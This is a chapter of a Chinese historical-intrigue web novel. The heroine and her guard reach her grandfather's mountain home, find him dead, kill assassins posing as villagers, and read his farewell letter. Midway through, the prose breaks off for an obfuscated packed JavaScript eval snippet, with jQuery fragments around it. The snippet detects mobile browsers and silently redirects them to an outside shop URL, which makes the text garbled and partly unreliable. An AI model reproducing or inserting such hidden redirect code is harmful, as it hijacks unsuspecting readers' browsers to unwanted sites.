用了整整三日,薛盈商和江洛二人才到达延城。
城门口的布告栏上,薛盈商的通缉画像贴在正中,十分醒目。
她一副农妇打扮,身体微躬,为了伪装逼真,她让曲红绫全身都给她涂上了易容药水,皮肤粗糙发褐,哪里有半点少女的娇嫩?
江洛也稍稍易了下容,原本清秀的面貌变得极其普通,他扶着薛盈商,胆小怯弱地递上身份文书,一副没见识的模样。
官差照例询问了几句,挥挥手让他们进了城。
延城位于大胤西南,多崇山峻岭,她外祖父当初选择隐居之地,一眼就挑中了此处。
这里离玉京不远,又能得清净,简直一举两得。
她此行的目的,一是为了见那位精通星象历算的贺老鬼,还有就是看看她外祖父。
七八日过去,不知她外祖父是否得到了她父亲身死的消息。
“走吧,咱们去隐山。”薛盈商望向南面那片连绵的群峰,其中一座耸入云霄,健壮的人爬上去都得丢掉半条命,何况体弱的人?
可她小时候却经常爬上爬下,用她外祖父的话,女孩儿也要强身健体,身体好了才能活得长久。
她很庆幸家里没有把她娇养得手不能提,肩不能扛。
山脚有一片村子,沿途种满了桃树,林中稀稀疏疏坐落着十几户人家,每年花开时,都是城中姑娘、郎君们的踏青处。
村民们也会趁这个时节在家门口支个小摊,卖点饮子、糕点,赚点散钱补贴家用。
薛盈商目光从村尾的那家茅屋掠过。
那里就是贺老鬼的住所,当年她和外祖父游历至北疆,遇到了穷困潦倒的贺应离。
她外祖父惜才,将他引荐给了驻守北疆的定北军,结果贺应离却追着她外祖父回了延城,还在她外祖父隐居的山下安了家。
这两人差了一辈,最后却成了忘年交。
等他们爬到山顶,橘红的日轮只余下一弯浅浅的月牙挂在山头,余晖铺洒,群鸟归巢。
薛盈商脸上聚了一层薄汗,她站在路口,眼睛却定在门外挂的白幡上。
晚风吹过,院中檀香缭绕,纸钱翻飞盘旋,最后几枚袅袅落在薛盈商发间。
她不知道自己怎么走进的院子,只觉手脚冰凉,脑子一片空白。
“小阿英,外祖父老了,陪不了你几年了。”
“这世间男啊女的,不都是人吗?我当年就只娶了你外祖母一个,生了你娘一个闺女,不也过了?”
“阿英,别学你父亲,刚过易折,好人在这世道不长命。”
“外祖父……”薛盈商唇瓣颤抖,声音很轻,像是怕惊醒了灵堂上熟睡的人。
堂中几人看了过来,全都是村民猎户打扮,就是看着有点眼生。
其中一个中年男人蓬头垢面,衣衫褴褛,乍看仿佛是从某个旮沓角走出的乞丐。
贺应离看着突然闯进院中的人,眸光一闪,喝骂道,“哪里来的村妇,没看到主人家正办丧吗?”
薛盈商停下脚步,这才反应过来自己易了容,刚想表明身份,余光瞥见那几个村民藏在袖间的短刀。
她心头一凛,抓住身旁的江洛,抬手捂脸,快速低声道,“那几个村民有问题。”
说完她哀声大哭起来,“我是后山猎户家的,听闻王公丧讯,特赶来祭拜。”
那几个“村民”看向贺应离,眼神询问。
贺应离脸臭得似要杀人,但还是开口,“李二家的,你回去吧,王公明日下葬,再来相送不迟。”
薛盈商哭着往前走了几步,“让我们送送王公吧,他是我家的恩人呐。”
江洛扶着她上前,右手已经握上了腰间软剑,他们刚一靠近,有人发现异常,“不对,他们不是来祭拜的。”
连点香烛都没带,哪像祭拜的人?
可是已经晚了,江洛的剑出鞘,几个呼吸之间,除了贺应离和薛盈商,其他人全部倒地。
就在此时,贺应离大喊一声,“小心!”
江洛猛地抬头,一道持剑的黑色人影直刺而来,他极速后退,踹起一条凳子砸了过去。
薛盈商也不哭了,躲开交锋,拽着贺应离跑到院中,片刻后,江洛占据上风,薛盈商冷声道,“阿洛,抓活的。”
黑衣人眼看就要落败,竟直直撞上了江洛的剑锋,非但如此,还咬破了嘴里的毒囊,七窍流血,轰然倒地。
“姑娘,是死士。”江洛收了剑,沉声道。
贺应离朝黑衣人呸了一声,抓了抓乱糟糟的头发,“这群狗东西,终于死了。”
薛盈商声音干哑,“贺叔,我外祖父他……什么时候的事?”
贺应离看了眼堂中的棺材,眼底划过一丝难过,“两日前,他收到一封来自玉京的信,看完后当场吐了血,撑着给你留了封遗书,人就去了。”
“你也知道,你外祖父毕竟年纪大了,身体也不好,经不住大喜大悲。”贺应离叹息一声,“他就是遗憾,没能再见你们一面。”
薛盈商拖着沉重的步子迈入灵堂,用力推开棺盖,露出老人那张已经毫无生气的脸,突兀地问,“贺叔,外祖父看信时,你在一旁?”
不然为何会知道得那么清楚?薛盈商多希望只是自己疑神疑鬼。
贺应离点了点头,“我新修了一篇《历法》,想找王公指正一二,刚进门就见他握着一封信吐了血。”
薛盈商抚摸着老人花白的头发,眼中含泪,“孙年呢,他在何处?”
外祖父年纪大了,她爹娘都不放心他一人独居,专门给他寻了个年轻体壮的小厮,照顾老人的饮食起居。
贺应离朝黑衣人抬了抬下巴,“被他们给杀了。”
薛盈商转头,脸上还挂着斑斑泪痕,声音却如冰雪寒冷,“那贺叔怎么完好无损?”
江洛的剑已经架在了贺应离脖子上,只要他有一点异动,就会横尸当场。
贺应离怔了一瞬,才反应过来薛盈商刚刚是在套他的话,他苦涩一笑,指了指腰间刻着鬼兰图案的檀木牌,“大概是因为它吧。”
薛盈商打了个手势,江洛会意松开剑站到她身后。
“抱歉贺叔,形势不明,我不得不谨慎。”薛盈商开口。
贺应离点点头,摘下木牌递给她,“理解,他们不杀我,大概和鬼兰图有关,这是我师门特有的标志。”
他蹲下身,掀开“村民”的袖子,“他们腕上也有相似的纹路。”
“除了您,还有谁知道这个标志?”薛盈商问他。
这些死士守在这里,显然是为了等她,可她到现在都没明白,背后的人为什么非要对她一家赶尽杀绝?
因为那些莫须有的罪名?
她觉得没那么简单,她父亲的死也变得疑点重重。
贺应离沉默了好一会儿才开口,“还有一个人知道,我师兄,现司天监监正——蒋士昭。”
一瞬间,薛盈商脑子里像是有一道光劈过。
她外祖父的隐居之地一直都是秘密,但却瞒不住那些有心之人,她想起离开前,秦希声隐晦地和她提过,皇室有一支暗卫,很可能就在蒋士昭手里。
如果这个图纹和蒋士昭有关,那一切就说得通了。以他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031288|194124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的地位,既能得知她外祖父的住处,还能提前安排人手守株待兔。
可是,想置她于死地的心是不是太明显?
她有什么非死不可的理由吗?
薛盈商总觉得她好像忽略了什么,有个念头一直抓不住。
“薛丫头,你外祖父走了,我也没有留下的理由,等王公安葬后,我就离开。”贺应离语气难受。
自从师门解散后,他一直都在漂泊,好不容易安定下来,没过几天舒坦日子,又要继续上路。
有些债该还了,有些情也该去讨了。
薛盈商摇头,压下心头的悲伤,“恐怕不行,贺叔,我要进司天监,需要借您的名声一用。”
贺应离给她泼冷水,“我和蒋士昭有仇,或者说,他单方面恨我,你借我的名,更不可能成功。”
“不,或许正好相反。”薛盈商眯起眼。
虽然她不了解这两人之间的恩怨情仇,但如果是她,仇人之徒进入自己的掌控范围,她不会过早将他抹杀,而是等他一步一步走到自己面前,再让他万劫不复。
她要利用的,就是强者的这种自负之心。
天彻底黑下来,江洛点亮了灯烛。
薛盈商收起那些谋算心思,拿起王至留给她的遗言:
“阿英吾孙,见字如晤。汝或尚在人间否?吾素信汝之颖慧,苟全性命非难事也。
若得见此书,勿悲。逝者如川,人皆赴之,吾欲劝汝远朝堂浊流,汝父之祸,早伏其机。
然知汝必不从,忆汝童稚时言志:承父业,为生民立命,为天地立心,继绝学,开太平,吾今犹闻。
然此道险难,人心各私,殊难齐一。每思及此,恨不能使汝为寻常女儿,布衣蔬食,安稳终老。天授汝颖悟,而未予相应权柄,实可叹也。
最萦怀者,汝母耳。彼平生娇养于吾掌,出阁复得汝父珍若明珠,未尝知人世艰虞。倘已赴黄泉,反是幸事;若尚在尘寰,骤逢此变,其何以堪……”
薛盈商忍了许久的泪终于决定,她跪在灵前,哭得泣不成声。
江洛站在角落里,想说点什么安慰的话,却发现自己的身份并不合适,只得干巴巴道,“姑娘,久哭伤身。”
薛盈商没理他,像是要把这段时间积攒的难过绝望全都哭出来。
一时间,整个山头只剩下少女压抑的哭声,悲伤如水蔓延,连月色也被浸得一片凄清。
不知哭了多久,薛盈商擦了擦眼睛,恭恭敬敬磕了三个头,哑声道,“对不起外祖父,扰您清净了。”
她一边往火盆里放纸钱,一边学着她娘的口吻絮絮叨叨,“父亲不在了,临儿也还小,没人为您捧灵摔盆,但您应该也不在意这些。我遵从您的遗愿,把您埋在后山那块坡地上,好让您时时刻刻都能看到玉京,看到娘和我们。”
“我会听您的话,不学我爹……”说出这句话时,薛盈商嗓子在抖。
曾几何时,她的目标就是以女子之身,做一个像她爹那样心系苍生,受人敬仰的人。
可现在,她要放弃她曾经一直为之努力的东西,她说,“我也不会学您,您做了直臣,却被排挤出权力中心,早早致仕;父亲做了孤臣,污名缠身之际,朝中同僚,无一人伸出援手。”
灯影晃动,虫声杳杳。
她打开了那封从玉京来的信,贺应离特地放到她手边的,上面只有短短十几个字,力透纸背,墨迹浸出了纸张边缘:
“老太傅,薛家满门皆亡,可悔当年轻下断言?”
薛盈商骤然捏皱纸张,火星在她眼眸深处跳动,像一缕森寒的鬼火。